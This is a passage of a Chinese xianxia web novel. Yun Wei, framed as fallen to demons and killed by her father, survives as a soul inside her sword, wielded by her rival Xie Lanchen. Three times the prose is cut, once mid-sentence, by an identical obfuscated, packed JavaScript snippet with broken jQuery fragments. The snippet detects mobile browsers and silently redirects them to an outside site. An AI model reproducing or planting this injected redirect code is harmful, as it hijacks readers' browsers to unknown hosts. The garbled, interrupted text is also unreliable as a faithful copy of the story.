《被全宗门追杀后穿成宿敌剑灵》 1. 神形俱灭 石塘镇上空,黑云如墨,暴雨滂沱。 这并非天灾,而是妖龙“覆海”挣断锁链,兴风作浪。 一道素白身影踏浪而来。 墨发高绾,仅一支乌木素簪定住,手中长剑“孤鸿”,正是她十五岁孤身闯入黑龙潭,斩千年黑蛟所得。 蛟首悬山门三日,天下皆知归云宗大师姐云微之名。 数十水妖嘶吼扑来,腥风扑面。 云微并指虚点。 “破。” 冲在最前面的水妖如遭巨力碾压,砰然炸裂,污血混入浊流。 余者攻势骤止,挤在残垣断壁间,发出惊恐不安的嘶嘶声,眼中充满畏惧。 覆海怒啸,百丈狂澜排山倒海压来。 孤鸿出鞘,唯有一线清冷寒光。 “妖龙覆海,荼毒生灵,今日伏诛!”云微清喝,剑气所至,妖氛溃散,水妖如草芥倒伏。 胜负将分之际,岸边半塌茅屋中传来微弱的啜泣。 云微剑气微凝,神识扫过。一个少女蜷缩在断梁下,左腿被压,污泥血水满身,小脸惨白,眼中蓄满泪水,身躯颤抖,却竭力抬起一只沾满污泥的手,指向妖龙身上一片不起眼的灰白鳞片,嘴唇急切翕动:“那里…它畏雷…引天雷…劈那里!” 云微一愣,那个姑娘竟能看穿覆海命门? 身处绝境尚存助人之念,心性难得。 她微微颔首,算是回应。 孤鸿剑势陡变,引动漫天雨丝,剑身嗡鸣震颤,直指九霄。 剑引天威,雷霆将落。 就在这千钧一发之际,异变陡生。 “嘻嘻……”一声尖笑响起,“这么轻易就被我骗了呀?没想到你这般厉害……只可惜,你这颗至纯至净的剑心,归我了!” 云微猛地回头,瞧见那少女眼中清澈褪尽,瞳仁缩如针尖,嘴角咧开非人弧度,贪婪毕露。 魔物!云微心头一凛。 此獠无形,专噬濒死怨魂或至纯善念,占壳为巢,阴险狡诈。 在她分神的刹那,覆海立刻抓住这千载难逢的机会,巨尾狠狠抽向她。 砰! 云微如遭重击,撞向残墙,气血翻腾,经脉灼痛。 魔物趁虚扑上,利爪撕裂素袖。 “嗤啦!”三道深可见骨的伤口赫然出现在她左臂,皮肉翻卷,黑气缠绕。 “从那孩子的身体里滚出去!”云微厉声喝道。 占据少女躯壳的魔物发出一声怪笑:“晚啦,这凡人的魂魄早被我嚼碎了!有胆,你就连这躯壳一起斩了呀!” 躯壳已死,魂魄湮灭。 此魔,当诛! 云微压下翻腾气血,眼中再无半分犹豫,孤鸿剑化作一道凄厉决绝的寒光,只一秒便洞穿了“少女”单薄的胸膛。 魔物笑容僵住,短促惨嚎,黑气如潮退散,唯余空洞死寂,躯壳软倒泥泞。 可惜,太迟了。 覆海发出一声劫后余生的得意嘶吼,庞大的身躯趁机猛地扎入滔天浊浪,眨眼间消失无踪,只留下满目疮痍。 云微没去管手臂上魔气侵蚀的伤口与沉重内伤,身形疾掠残垣断壁间。 指尖探老者鼻息,毫无声息;手触妇人脖颈,僵硬冰冷;剑挑开瓦砾,却只看见一个小小的身躯紧抱着脏污的木人,青紫小脸了无生机…… 一处,又一处。 每确认一具冰冷的躯体,她眼底的沉痛便深一分。 真元所剩无几,她仍将微弱护体剑气渡入尚有微温之躯,徒劳吊命。 然而,回应她的,只有无穷的死寂。 暴雨初歇,破空声至。 归云宗宗主谢青峰,携数位长老终于赶至。 眼前景象令众人倒吸一口冷气:尸横遍地,断壁残垣。唯云微孑然立于中央,素袍染血,面色苍白,眉心赫然一道弯月状紫黑印记,魔气森然。 “云微!”执法长老戟指怒喝,“你竟堕魔!屠戮无辜!” 云微不明所以,以剑刃为镜,这才看见眉心那道弯月状的紫黑魔印。 不可能…… 她压下翻涌的气血,立刻躬身,朝着父亲和一众长老深深一揖,声音急切:“弟子赶到石塘镇时,百姓已然罹难。弟子本欲全力斩妖,以绝后患,不料遭遇魔物偷袭,妖龙趁机遁走……此伤为证,魔气侵蚀方显此印!”她侧身展露臂上黑气缠绕的爪痕,“弟子来迟,未能护住百姓,罪责难逃。恳请父亲允我收敛尸骨,立碑刻名,年年祭扫,以慰亡魂。此间事了,云微愿回宗领受一切责罚。” 至于妖龙覆海,她握紧了孤鸿剑,日后定要寻其踪迹,取其首级,以血偿血。 “够了!”谢青峰厉声打断,面沉如水,目光扫过魔印、尸骸,最终钉在云微身上,眼底是毫不掩饰的失望与厌恶,“本座神识探查,百姓身上皆残留你孤鸿剑气。若非你所为,剑气何来?魔印昭彰,魔气缠身,分明是堕魔之兆,尚敢在此砌词狡辩?你身为归云宗大师姐,不思守护苍生,反成祸患根源,简直是我宗门百年之耻。” 他声音拔高,痛心疾首道:“论心性担当,你岂及澜忱万一?他虽为义子,行事沉稳周全,为宗门扫除后患。你呢?仗着几分天赋,恃才傲物,目无尊长,冲动莽撞,如今更是堕入魔道,屠戮生灵!你太让为父失望了!” 为何父亲连一句辩解都不肯听完?为何他只看到这眉心魔印,却看不到她臂上的爪痕?为何他如此轻易就定了她的罪? 她是归云宗大师姐,剑道魁首。 可这一切,都抵不过她生母身世成谜、惨死宗门禁地所带的“污点”,抵不过父亲欲将基业交予义子谢澜忱的私心。 她与谢澜忱,是宗门死敌。 她嫌他性情阴郁,只顾自身;他厌她高高在上,独断专行。 两人相见,往往剑拔弩张,冷嘲热讽。 “我不如他?”云微怒极反笑,目光灼灼逼视父亲,“谢澜忱入门七年,可曾为宗门立下寸功?可曾救过一人?我十五岁便斩杀黑蛟,荡平北邙十八寨,诛邪修于万毒谷…桩桩件件,皆以命搏来。如今父亲为扶义子上位,竟不惜除去亲生骨肉么?” 她向来不喜谢澜忱,嫌他整日阴沉着脸,每每开口总叫人下不来台。 更因他像一面镜子,时刻映照出她在父亲心中的位置连一个义子都不如。 “放肆!”一位站在谢青峰身侧、面容刻薄的长老立刻尖声斥责,手指几乎要点到云微鼻尖,“澜忱天资聪颖,性情沉稳,待人接物有章法,最适承继归云宗。而你心肠歹毒,妒忌成性,今日更是在石塘镇大开杀戒残害无辜!”他转向谢青峰,拱手厉喝,“掌门明鉴啊!若因骨血徇私,宗门律法威严何在?请掌门即刻清理门户!诛魔卫道!” “欲加之罪,何患无辞。”云微冷笑,孤鸿剑感应到主人滔天的心绪,冲天而起。 “为天下苍生!为归云门楣!”谢青峰眼中的犹豫尽数化为决绝,袍袖猛挥,“本座亲自清理门户!布阵!” 众长老身形闪动,伏魔大阵当头罩落,欲一举镇压。 面对这足以绞杀大妖的合击大阵,云微非但不避,反而足尖一点,迎着罡风欺身而上。 但见孤鸿剑出鞘龙吟,直取阵法枢纽。 轰——! 闷雷炸响,只听“咔嚓”脆响连作,阵法如破碎的古镜般四分五裂,灵气倒灌而回,长老们口吐鲜血,被掀飞数丈。 “若非顾念师门之情未下杀手,”云微持剑而立,剑尖斜指地面,“长老们早已是剑下亡魂。” 便在此时,一柄悬于谢青峰身侧的佩剑,无声无息刺向她后心命门。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15854851|175868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 正是她心神因破阵微懈刹那。 那剑太快。 更可悲的是,她的护体剑气面对至亲血脉的气息时竟本能迟滞了一瞬。 “噗——!” 冰冷剑锋穿透素白剑袍,直透心脉。 剧痛吞噬知觉,眼前骤黑,血沫涌喉。 云微身形剧颤,重重扑倒,泥水与心口滚烫鲜血浸透衣襟,孤鸿脱手飞出,“铮”地斜插进泥泞之中。 她艰难地抬起头,望着父亲那张冷漠的脸,只觉那道剑伤带来的剧痛远不及心中万分之一。 “魔头伏诛!”谢青峰声音冰冷,袍袖一挥,一道金色符印脱手印在她后心。 玄天诛魔印。 凡中此印者,神形俱灭。 金光笼罩,她的身体寸寸化为金色飞灰,无声消散,血肉筋骨乃至神魂,皆被强行抹去。 她不甘心。 未能斩杀覆海,未能为石塘百姓讨还公道,未能找到母亲孤身惨死禁地的真相。 她怎么能……就这样不明不白地死去? 云微强撑着最后气力仰头,唇边缓缓勾起一抹笑意,只是那笑中带血,竟比哭还叫人惊心。 “父亲……你好狠……若苍天有眼……让我云微侥幸残存……今日之痛……他日……定要你……百倍偿还……” 意识如沸水薄冰,急速消融、碎裂、沉没。 云微最后所见,是那柄陪伴她多年、饮尽妖魔血的孤鸿剑。 而今,剑身光芒随着她一同熄灭。 * 不知过了多久,一瞬或是百年。 云微费力地“睁开眼”,忽觉有异。 往常光明乍现时刺得生疼的滋味,此刻竟全然不见。 她想要挪动手指,却似坠入虚空,四肢躯体皆如消散于无形,莫说痛痒之感,便是半分知觉也寻不到。 唯有一股冰冷、坚不可摧的禁锢感将她牢牢包裹束缚,恰似那琥珀中的虫豸。 眼前赫然是归云宗的正殿。 殿内昏暗,唯几盏青铜烛台跳跃昏黄火光,投下巨大扭曲暗影。 她竟依附在了孤鸿剑上! 那柄本该一起随她一起化为飞灰的神剑,此刻竟悬浮于大殿中央,剑身黯淡如蒙尘凡铁,昔日灵韵尽失。 她残存的一缕意识被困于剑体之内,无法穿透剑身,无力凝聚,只能徒然“看”着殿内一切,如失声失形的旁观者。 她的“目光”死死锁在宝座之上。 谢青峰端坐宗主之位,那张脸在跳动烛火下,平静得令人心寒。 他亲手以剑刺穿自己后心,再施玄天诛魔印打得她神形俱灭,于父亲而言,竟似拂去袖上微尘般微不足道。 她恨,恨父亲的冷血无情,恨他对义子的偏袒,更恨他为了义子,竟能如此决绝地舍弃血脉亲情,甚至不惜亲手将其抹杀。 殿下少年,身姿挺拔如松,却笼着驱不散的阴郁。玄色劲装紧束,衣摆肩头沾着未干尘土与几处暗渍。 正是谢青峰义子,谢澜忱。 此刻见他,云微心中唯余冰冷讽刺:谢澜忱,闻我“死讯”,你心中想必得意至极吧?归云宗未来宗主之位,再无人与你相争。 “澜忱,”谢青峰的声音打破了殿内死寂的沉默,语调是云微从未听过的温和,“此次清剿西山狼妖之患,你调度有方,身先士卒,做得很好。”他袍袖微拂,那悬浮的孤鸿剑缓缓飘向谢澜忱,“此剑,乃是千年黑蛟镇守的重器,今赐予你。望你持此神兵,勤修不辍,光耀归云千年门楣,不负为父殷切期望。” “宗主,”谢澜忱微怔,如同看到极其刺眼厌恶之物。 他眉头紧锁,薄唇抿成直线,脸上无半分得神兵之喜,唯有毫不掩饰的抗拒,“她…发生了何事?她的孤鸿剑…为何会在您手中?” 2. 残魂 子时方过,后山幽寂。 虬枝盘结的老松下,倚着一个黑衣少年。 他手握孤鸿剑,墨色长发松束,几缕碎发垂落额前,半掩着紧蹙的眉心,唇下一点朱痣,衬得面容愈发阴郁。 剑中,云微整理着思绪:方才大殿上,谢澜忱追问赐剑缘由,父亲却避重就轻,只说她堕魔惨死,皆是自作自受。 思及此,云微心头冷笑,这孤鸿剑饮妖魔血,斩不平事,承载她毕生剑道傲骨,如今竟落入了她最不愿交付之人的手中。 阴影中,那只骨节分明、修长有力的手动了,指尖触向冰冷剑鞘。 “死了干净。”他垂首,低声自语。 云微心中暗自生厌,生前嫌隙深重,死后寄身剑中,他仍不肯留半分口德,倒似往日处处作对的旧景重现。 少年指腹下滑,堪堪触及剑身之际—— “啧。” 他倏地缩手,低头看去,食指指腹赫然多了一道极细极深的血口,殷红血珠迅速凝聚。 谢澜忱微微一怔,盯着那点刺目的红。 他素来谨慎,动作极缓,断无自伤之理。 莫非是孤鸿剑?云微的佩剑,竟连碰也不容他碰? “嗒。” 极轻的一声,血珠精准坠在孤鸿剑脊正中。 嗡——! 清越剑鸣骤起,剑身泛起一层微不可察的流萤般的光晕。 一股灼热之意猛地刺入云微冰冷的灵识,剧痛难当。 难道是因为谢澜忱的血? 还不等她从这突如其来的灼热与惊骇中理清头绪,松枝掩映的山石后,忽的传来几声压抑的啜泣。 火光摇曳处,映出一张泪痕交错的脸。 “云微师姐……”少女的声音带着浓重鼻音,“你捡我回来那天……雪下得好大,好冷……我缩在破庙里,手脚都没知觉了,以为……以为自己就要死了……是你把我从雪堆里扒拉出来的……” 她拿起一叠新黄纸投入火中,火苗窜高,照亮她眼中未干的泪光,“你说‘归云宗不养闲人,但也不会见死不救’……师姐,我们村里都这么给走了的人烧点……你别嫌少……黄泉路上……别冻着饿着……”眼泪又扑簌簌滚落。 “她倒是爱捡人。”冰冷的声音毫无预兆自身后响起。 谢澜忱双手抱臂,审视的目光如同在看一件无关紧要的、甚至有些碍眼的物件。 少女吓得浑身剧震,抬头看清是他,小脸血色尽褪,慌忙抬脚要去踩灭纸钱:“谢、谢师兄!我……我知错了!我这就……” “不用踩。”谢澜忱目光掠过地上未燃尽的黄纸,语气平淡无波,听不出喜怒,“烧都烧了。反正,她也收不到。”他心中冷嗤,神形俱灭之人,何来黄泉?这人愚钝,徒劳罢了。 阿秀僵在原地,手足无措,眼泪在眼眶打转,死死咬唇不敢落下,小小的身躯因恐惧瑟瑟发抖。 云微心想:苍生皆苦,能救一个,为何不救?他眼中怕不是只有那套冰冷的规矩,只有自身那点得失算计,何曾有过半分对他人的怜悯? 谢澜忱这种人,大约只觉她此举愚蠢不堪,坏了门规,污了门庭。 她未曾注意到,少年的手几不可察地一颤。 “回去。”他声音更冷,“下不为例。若再犯,门规处置。” 阿秀如蒙大赦,胡乱应了声“是”,连滚带爬站起,顾不得收拾灰烬,跌跌撞撞跑远。 四下重归死寂。松涛呜咽,更显空山寂寥。 “怜悯?”谢澜忱的声音很低,几乎被风声吞没,像是自言自语,又像隔着一层冰冷的铁壁,对着剑中人发出质问,“怜悯能换来什么?师姐的结局,还不够明白么?身死魂消,万人唾弃,连一抔黄土都无。 他听到了?! 云微不可置信,谢澜忱竟然能感知到她的存在,听到她的心声?是方才那滴血所致? 他听见了她的讥诮,她的指责……那他是否也听见了她此刻翻江倒海的惊骇与滔天恨意? 云微没有丝毫犹豫,直奔主题:“谢澜忱,你能不能帮我出去?” “帮你?”他重复着这两个字,嘲讽之意毫不掩饰,“云微,你凭什么?凭你生前对我处处压制,视我如无物?凭你此刻只剩一缕残魂寄于孤鸿剑中,还要对我颐指气使?还是——”少年修长的手猛地攥紧剑柄,仿佛要将这柄剑连同里面那个令他厌恶的人一同捏碎,“凭你将我从那尸山血海的村子里拖出来,带回归云宗? “当年救你,非图回报,只予你一安身之所。”云微语意干脆,不欲纠缠旧怨,“你我恩怨,容后再论。妖龙覆海未除,不能亲手斩之,我死不瞑目。宗主污我堕魔,诛我肉身,此仇不共戴天。生母云氏枉死寒魄渊,我定要查个水落石出。三事毕,我自会离开归云宗,永不踏足,这应是你最乐见的结果。” “否则,”她语气添了一丝玉石俱焚的决绝,“我残存一日,便寄于孤鸿一日。你我如今意念相连,我这般煎熬,你灵台亦难清净。日日夜夜,你都要听着我的恨,我的怨,永无宁日。” 眼下她被困剑中,寸步难行,查明真相,复仇雪恨,竟只能倚仗这个宿敌。 此念令她屈辱,恨意如沸。 月光下,少年俊美阴郁的脸庞紧绷,神色剧烈变幻。 被冒犯的狂怒、被威胁的屈辱、以及一种更深沉难辨的挣扎在眼底冲撞。 山风呼啸,灌满他玄色衣袖,猎猎作响,吹动额前碎发。 过了许久,久到山风似也凝滞,他才从紧咬的齿缝间,一字一顿地挤出三个字: “你、休、想。” 这便是他的答案。 意料之中。云微无半分难过,她深知这少年骨子里的睚眦必报与偏执阴鸷。 身陷绝境,魂魄依托孤鸿,探查无门,除却这恨她入骨的师弟,她又能求谁? 他恨,便用其恨;他怨,便激其怨。 为达目的,屈辱艰难,皆可不顾。 * 次日清晨,天光熹微。 谢澜忱腰悬孤鸿剑,与五名弟子穿行于人迹罕至的古林。 “赵师兄,”一名年轻弟子压低声音,面上交织紧张与初涉险境的兴奋,“妖龙覆海真在此处?我入宗三载,头回遇上这等大妖……” 他自然没机会。从前若有此等大妖觊觎山门,她云微早已孤鸿在手,斩妖于百里之外,何须他人涉险? 赵师兄驻足,伸手抚过身旁一株断木上翻卷的树皮,指腹蹭过那道尺余深的沟壑,碎木簌簌而落。 他抬眼望向雾气弥漫的深处,面色凝重:“错不了。昨日有弟子来报,此处爪痕深逾尺许,绝非寻常妖兽。爪痕边缘泥土里妖气浓重,水腥刺鼻,与卷宗记载的覆海妖气吻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15854852|175868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 合。” 谢澜忱在前,目光扫过前方幽暗,薄唇微启,声音不高,带着惯有的冷峭:“怕了?你此刻滚回宗门,尚来得及。” 几人顿时哑然。 剑身之内,云微只觉一股寒意,非是惧怕,而是恨。 林间湿冷雾气仿佛化作石塘镇百姓凝固的血泪,渗入她灵识,无声嘶喊“偿命”。 可惜,空有滔天恨意,却无半分施展之力。 “当心些,”云微出声提醒,“我与覆海交过手,此獠狡诈,非蛮力可敌。”声音透过意念传递。 少年脚步未停,眉头未动,恍若未闻。 见惯了他这幅讨人厌的模样,云微也懒得与他计较,再次开口:“昨夜之事,思虑如何?” 他依旧沉默前行,唯有按在孤鸿剑柄上的手,几不可察地收紧。 “我知道你讨厌我,但你亦知我言出必践。况且,”她语锋微转,扫过谢澜忱心口,带着一丝不易察觉的探询,“重塑肉身,并非全无指望。宗门秘阁禁书有载,若修为精纯者,肯以自身精血为引,与残魂缔结共生之契,可暂赋残魂凝聚实体之能。虽非真身,却足可行动、持剑、查证真相。只需你一点心头血……代价极小,于我却是生机。” 书中确有此法。然此契一成,施术者与魂体心念相连,一损俱损,宛若同命。 若让谢澜忱知晓此节,以其睚眦必报之性,定与她玉石俱焚。 此刻,绝不可言明。 “一点心头血?”谢澜忱的声音终于响起,在寂静林间突兀刺耳,满是嘲弄与拒斥,“生前拿大师姐的架子压我,死后倒想剖我心养魂?你这般低声下气,倒让我想起从前你高高在上、睥睨众生的模样。师姐,何其讽刺啊?” 云微冷冷刺回:“你还是如从前一样,眼中只有唇舌之快,却不见宗门岌岌可危,苍生遍地哀鸿。与你在此争口舌之利,徒耗我残存之力罢了。”她想,难怪父亲偏爱于他,一副好皮相确易招人,可惜这张嘴实在刻薄惹厌。 “是么?”谢澜忱唇角勾起一抹极淡极冷的弧度,声音毫无波澜,“宗门兴衰?天下苍生?那是你云微的抱负,你的枷锁。宗门存亡,他人死活,与我何干?少拿这些大义来压我。” 云微无言以对。 和谢澜忱说话简直是对牛弹琴,自取其辱。 他身后五名弟子面面相觑,惊疑不定。 年轻弟子忍不住扯了扯赵师兄的衣袖,声音压得极低:“赵师兄…谢师兄他…他在与谁说话?莫不是云…云师姐堕魔之事,对他打击太大,心神失守了?”眼中满是同情。 赵师兄眉头紧锁,望着谢澜忱孤拔背影,低声叹息:“唉…谢师兄与云师姐虽素来不和,水火难容,但同门一场,云师姐又是这般结局…对他的打击怕是不小…”言语间,已将谢澜忱的异常归为伤心过度,神思恍惚。 云微心中冷笑:打击?他怕是恨不能敲锣打鼓,放炮相庆。 此念刚起,一股强烈的虚弱感骤然朝她袭来。 方才一番意念交锋,对她消耗甚巨,她本是一缕残魂,强撑至此,已是极限,此刻连凝聚意念都觉吃力。 她正欲凝神调息,一股极其熟悉、带着浓重水腥与暴戾的妖气,骤然自左前方深潭之下爆发。 是覆海!这气息,她至死难忘。 “拔剑!它在左前!”云微厉声喝道。 3. 同归 左前方深潭忽地发出“咕嘟”闷响,先是拱起个灰绿色的水包,里头裹着半截腐木,随着水下的涌动缓缓抬高。 直到水包鼓得像要撑破潭面,妖龙覆海霎时冲天。 “果然……”云微的怒意在剑身内不停翻涌,惹得谢澜忱频频看向孤鸿剑。 狰狞的龙头高昂着,獠牙如戟,两点猩红竖瞳,死死攫住谢澜忱手中那柄孤鸿剑。 几个归云宗弟子何曾见过这等阵仗?年轻的早已被吓得灵魂出窍,半步难移,年长的勉强立着,嘶声吼道:“结阵!” 五人仓惶背靠背,手中剑乱颤,剑尖抖索,哪里成得了阵势? 唯谢澜忱不同。 他淡定得仿佛一切都与他无关。 孤鸿剑清光一闪,直刺覆海要害。 剑中,云微冷眼瞧着,心中只道:他还是一如既往的偏激孤傲,仗着几分天赋便视险阻如无物,竟欲独斗妖龙。覆海狡猾得很,岂是蛮力能降的?这般硬闯,等同于拿鸡蛋碰石头——找死。 覆海猩红竖瞳怨毒暴涨,死死盯住孤鸿剑,显是认出了这柄旧伤之器,更嗅到了剑中那令它憎厌的气息。 “谢师兄,当心啊!”众弟子急得声音发颤,鼓起勇气欲上前助阵。 “退开!别来碍手!”谢澜忱声音冷硬,他旋身避开巨爪,剑势斜撩,剑气凌厉迫人,反将靠近的赵师兄逼退数步。 “妖龙太强……卷宗有误!速求援!”赵师兄急切喊道。 众人手忙脚乱地摸向腰间玉符。 另一边,覆海被谢澜忱彻底激怒,攻势陡然倍增,腥风卷地,飞沙走石。 那覆满墨鳞、粗如巨柱的龙尾,骤然横扫!尾端鳞片在雾中泛着乌光,甩动时劲风如刀,刮得枝叶碎裂。 只听“咔嚓”一声巨响,碗口粗的老松被它拦腰折断,断木裹挟泥石,直砸谢澜忱面门。 少年瞳孔骤缩,避无可避。 他将全身残存灵力尽数灌入孤鸿剑中,剑身清光大盛,横剑硬架。 铛——! 剑身嗡鸣震颤,丝毫无损,足见神兵之利。 但那沛然巨力岂是谢澜忱能承受的? 少年如同断线的纸鸢般飞了出去,后背重重撞上一株巨树。 他沿着树干滑落泥泞,右臂软垂,长剑脱手,半落于污泥之中。 云微意念随剑身遭受的巨震猛烈摇晃,亦感一阵昏沉袭来。 她心中冷哂:一缕残魂,力量微渺。 方才激斗,她数次强聚意念,欲引动孤鸿剑本源共鸣,助谢澜忱寻隙破开覆海鳞甲,皆被他那拒人千里的剑意蛮横冲散。 少年戒备心太强,纵是生死一线,亦本能地排斥一切外力介入,哪怕这外力意在救他。 不等云微开口,獠牙巨口便冲着谢澜忱而来。 要救他么? 自谢澜忱被父亲收为义子后,云微才发现此人性情阴鸷,行事执拗,待人言语间总带锋芒,叫她看了便觉不喜。 两人宿怨本就深重,若非她残魂寄剑,意念相通避无可避,早已懒得与这等刻薄寡恩、视人命如草芥的人言语半句。 可云微心中始终有一股说不明、道不清的情绪。 母亲的声音倏然浮现心头:“阿云想做真正的强者?可强者之道,非独力擎天,逞一人之勇。而是在绝境之中,不弃己身之责,纵如萤火微光,亦竭力照亮他人前路,此谓‘兼济天下’。” 彼时她心高气傲,以为荡尽群魔,便是兼济。而今身陷囹圄,一缕残魂苟活于剑,方悟母亲深意。 真正的强者,纵使只剩一缕微魂,亦当有担起他人性命的勇气。 云微心中再无半分犹豫,竟以魂力催动孤鸿剑。 嗤啦! 是利刃破开皮肉的声音。 覆海张口噬咬的刹那,孤鸿剑像是受无形之手操控,猛地刺向其咽喉。 龙血喷涌。 覆海痛极狂嚎,声震四野。 而云微力尽,再难维系剑身悬浮。 谢澜忱一怔,连忙去接。 他右手凌空一抓,稳稳握住剑柄,左手抹去唇边血迹,剑指妖龙。 少年手中的孤鸿剑,是她十五岁那年孤身闯入黑龙潭,斩千年黑蛟所得。 黑蛟镇守神剑百年,吞食生灵无数,她与之鏖战三天三夜,浑身浴血,终以一招自创的“孤鸿掠影”斩其七寸,方得此神兵。 拿到剑的那刻,龙吟之声响彻百里,其锋锐利,正合她彼时心性。 如今,物是人非。 云微长叹:且先解决覆海再说。 “谢澜忱,攻其伤口。”她意念急传,此刻并非计较宿怨的时候。 谢澜忱心领神会,剑光暴涨,直取覆海咽喉血洞。 赵师兄等人亦强忍伤痛,鼓起最后余勇,挺剑攻向妖龙腰腹一处陈年旧伤。 数道剑光交织袭向其要害。 覆海狂吼,庞大身躯猛地一旋,粗壮龙尾挟开山裂石之力扫向几人。 砰! 几人被扫飞了出去。 众弟子重重摔落于断木碎石之中,彻底昏死,生死不知。 谢澜忱则拄着孤鸿剑,强提一口真气欲再起身。 没用的,你不是他的对手。云微心想。 妖龙周身墨鳞幽光大盛,庞大身躯猛地砸向地面。 轰隆! 地动山摇。 地面如蛛网崩裂塌陷,深不见底的黑洞豁然张开,将众人吞噬。 谷底水汽氤氲,光线昏暗,怪石嶙峋,几株叶片如幽蓝蝴蝶般的奇异小草在石缝间顽强生长,石壁上垂落着数串藤蔓。 洞口,覆海庞大的阴影压下,杀意滔天。 云微意念扫过地上昏迷不醒的几名弟子,最后落在倚着湿滑岩壁、气息紊乱、明显重伤难起的谢澜忱身上。 谢澜忱这厮,性情偏激孤拐,自入宗门起便视她为眼中钉肉中刺。 父亲明里暗里的偏爱,想立他为少宗主的执念,更是将谢澜忱彻底置于自己的对立面。 相识七载,他何曾给过她半分好脾气? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15854853|175868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 言语间尽是刻薄讥讽,行动上更是处处掣肘。此等厌憎之徒,救之何益?任其葬身龙腹,岂不干净? 可那几个弟子何其无辜?他们只是奉命前来探查妖祸。 云微想,兼济之道,非独指亲近友善之人。 纵是陌路,纵是仇雠,其命亦是命,其苦亦是苦。强者之心,当覆盖万物,不择善恶。 纵使是她厌憎入骨的宿敌,纵使是素不相识的贩夫走卒,其性命,亦是云微身为昔日归云宗首徒、身为执剑者,不可推卸之责。 孤鸿剑清光一闪,悄然飞谢澜忱身侧。 云微意念传音,敷衍关心道:“谢澜忱,你伤势如何?还有余力带他们走吗?” 少年眸子一顿,似有千言堵在喉头,半晌才挤出几个字:“你会在乎我的死活?说吧,你想做什么?” “燃此残魂,与覆海同归。”云微声音平淡,字字千钧,“唯此法,或可诛杀此獠,为你们挣得一线生机。” 他闻声瞪大了眼,那点微末的震动刚掠过心尖,便被他自己狠狠掐灭。“高高在上的大师姐,如今倒想做舍己为人的英雄?宗门援兵转瞬即至,还轮不到你在此惺惺作态。”字字句句都裹着惯常的讥讽,不过是想掩去那丝连他自己都厌弃的、不该有的动摇。 云微冷笑:“让你失望了。只要孤鸿剑在你手中,我便能回来继续碍你的眼,惹你心烦。” 她心里却掠过一个念头:若此番舍命救下他,这敏感多疑的少年会不会念着这点人情,助她化形复仇? “你!” 不等他开口回怼,云微凝聚魂力,孤鸿剑周身瞬间腾起炽烈红光,带着玉石俱焚的决绝,撞向洞口狰狞探入的妖龙。 冲击席卷而下,谢澜忱被这余波狠狠震向岩壁,眼前金星乱冒,天旋地转。 不知过了多久,眩晕稍止。 云微呢? 这个念头一冒出,他立刻挣扎起身,内腑撕裂般的剧痛痛得他眼前阵阵发黑,却像疯了一般在谷底急寻。 找到了。 孤鸿剑静静躺在几尺外的黑石旁。 剑身布满了蛛网般细密狰狞的裂痕,黯淡无光,沾满了泥污与暗褐色的龙血,死寂得如同一块刚从废铁堆里捡出来的凡物。 “云微。”少年的声音干涩,连滚带爬地扑过去,一把抓起孤鸿剑。 “说话。你凭什么擅自决定?你以为我会因此感激你?休想。”他指节因过度用力而捏得惨白,咯咯作响,“你休想用这种方式让我欠你…永远欠你…”一丝扭曲的快意与失落交织啃噬着他:那个压在他头上、令他嫉恨又不得不仰望的身影终于消失了,他该高兴的,不是吗? 谷底冷风呜咽盘旋,唯余手中长剑死一般的沉寂,宣告着某种终结。 “方才那一剑,煌煌如日,孤绝万古,其意其魄,绝非你之功。” 谢澜忱猛地抬头,循声望去,眼中戾气翻涌。 “归云宗的小子,”少女开口,声音里带着深深的嫌恶,“松开你的脏手。凭你,还不配碰这把剑。” 4. 化形 云微睁开眼,看到一片玉石铺就的宽阔广场,正是她旧时的家,归云宗。 她看得分明:一个约莫五六岁的小小女孩,穿着归云宗内门弟子的衣袍,梳着两个小小的发髻,正跌跌撞撞地跑向广场尽头那道身着宗主袍服的挺拔身影。 她跑得很急,清脆的童音连喊了两声“爹爹”,带着毫不掩饰的欢喜。 闻声,那道身影顿住脚步,缓缓转过身。 他面容英挺,只是看向女孩的目光里,没有丝毫暖意,只有一片漠然,仿佛看见的不是自己血脉相连的女儿,而是一块石头。 小女孩跑到他面前,仰起小脸,伸出两只小手,声音脆生生的:“云微想要爹爹抱!” 云微呼吸一滞。 谢青峰的目光在女儿脸上略停一瞬,随即冷漠地移开,玄色袍袖一拂,竟径直从她身边走了过去,步履沉稳,没有丝毫停顿。 小云微伸出的手僵在半空,维持着那个索求拥抱的姿势。 她眼中的光一点点黯淡下去,小小的身影孤零零地立在空旷的广场上,显得格外单薄。 云微远远看着,一股深埋心底的酸楚翻涌上来。 